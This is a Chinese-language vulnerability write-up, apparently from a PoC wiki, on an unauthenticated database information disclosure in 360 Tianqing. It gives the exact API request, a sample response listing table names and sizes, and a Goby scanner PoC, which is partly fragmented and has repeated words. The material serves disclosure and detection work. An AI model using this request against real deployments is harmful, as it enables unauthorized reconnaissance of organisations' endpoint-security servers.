

# 天擎 数据库信息泄露漏洞

---

[0x01 漏洞描述](#)

[0x02 漏洞影响](#)

[0x03 漏洞复现](#)

[Goby & POC](#)

## 0x01 漏洞描述

天擎 存在未授权越权访问，造成敏感信息泄露

## 0x02 漏洞影响

1 天擎

## 0x03 漏洞复现

```
1 GET /api/dbstat/gettablesize HTTP/1.1
```

```
1 // 20210408154823
2 // https://10.10.10.8443/api/dbstat/gettablesize
3
4 {
5   "result": 0,
6   "reason": "success",
7   "data": [
8     {
9       "schema_name": "public",
10      "table_name": "file",
11      "table_size": "308 MB"
12    },
13    {
14      "schema_name": "public",
15      "table_name": "rptsvc_filecloud_event_201904",
16      "table_size": "67 MB"
17    },
18    {
19      "schema_name": "public",
20      "table_name": "leak_fixer",
21      "table_size": "36 MB"
22    },
23    {
24      "schema_name": "public",
25      "table_name": "admin_opt_log",
26      "table_size": "9568 kB"
27    },
28    {
29      "schema_name": "public",
30      "table_name": "token_dict",
31      "table_size": "9392 kB"
32    }
33  ]
34 }
```

## Goby & POC

```
1 {
2   "Name": "360 Tianqing database information disclosure",
3   "Level": "0",
4   "Tags": [
5     "Disclosure of Sensitive Information"
6   ],
7   "GobyQuery": "app=\"360-TianQing\"",
8   "Description": "Tianqing has unauthorized unauthorized unau-
9     thorized access, resulting in the disclosure of sensitive informa-
10     tion",
11   "Product": "360 Tianqing",
12   "Homepage": "https://www.360.cn/",
13   "Author": "PeiQi",
14 }
```

```

12     "Impact": "",
13     "Recommandation": "<p>undefined</p>",
14     "References": [
15         "http://wiki.peiqi.tech"
16     ],
17     "ScanSteps": [
18         "AND",
19         {
20             "Request": {
21                 "method": "GET",
22                 "uri": "/api/dbstat/gettablesize",
23                 "follow_redirect": false,
24                 "header": {},
25                 "data_type": "text",
26                 "data": ""
27             },
28             "ResponseTest": {
29                 "type": "group",
30                 "operation": "AND",
31                 "checks": [
32                     {
33                         "type": "item",
34                         "variable": "$code",
35                         "operation": "==",
36                         "value": "200",
37                         "bz": ""
38                     },
39                     {
40                         "type": "item",
41                         "variable": "$body",
42                         "operation": "contains",
43                         "value": "schema_name",
44                         "bz": ""
45                     },
46                     {
47                         "type": "item",
48                         "variable": "$body",
49                         "operation": "contains",
50                         "value": "table_name",
51                         "bz": ""

```

```

52         },
53         {
54             "type": "item",
55             "variable": "$body",
56             "operation": "contains",
57             "value": "table_size",
58             "bz": ""
59         }
60     ]
61 },
62 "SetVariable": []
63 }
64 ],
65 "PostTime": "2021-04-08 16:04:28",
66 "GobyVersion": "1.8.255"
67 }

```

